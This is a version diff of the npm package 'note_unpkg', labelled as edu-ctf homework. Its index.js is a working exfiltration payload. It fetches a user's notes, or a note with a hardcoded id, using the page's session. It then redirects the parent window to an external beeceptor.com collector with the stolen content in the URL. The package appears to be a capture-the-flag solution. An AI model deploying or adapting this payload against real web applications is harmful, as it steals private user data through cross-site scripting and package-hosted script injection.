note_unpkg 1.0.3 → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +9 -12
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,16 +1,13 @@
1
1
  async function go() {
2
- let notes = await fetch("/api/notes/all", {
3
- "method": "GET",
4
- "credentials": "include"})
5
- .then(res => res.text())
6
- //.then(res => res[0].id);
7
- //let flag = await fetch("/api/notes?id=" + flag_id, {
8
- // "method": "GET",
9
- // "credentials": "include"})
10
- // .then(res => res.text())
11
- // .then(res => res.content);
12
- //});
2
+ // let notes = await fetch("/api/notes/all", {
3
+ // "method": "GET"})
4
+ // .then(res => res.text())
5
+ // window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
6
+ const id = "a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d"
7
+ let flag = await fetch("/api/notes?id=" + id, {
8
+ "method": "GET"})
9
+ .then(res => res.text())
13
10
  await new Promise(r => setTimeout(r, 2000));
14
- window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
11
+ window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + flag
15
12
  };
16
13
  go();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note_unpkg",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "for edu-ctf homework",
5
5
  "main": "index.js",
6
6
  "scripts": {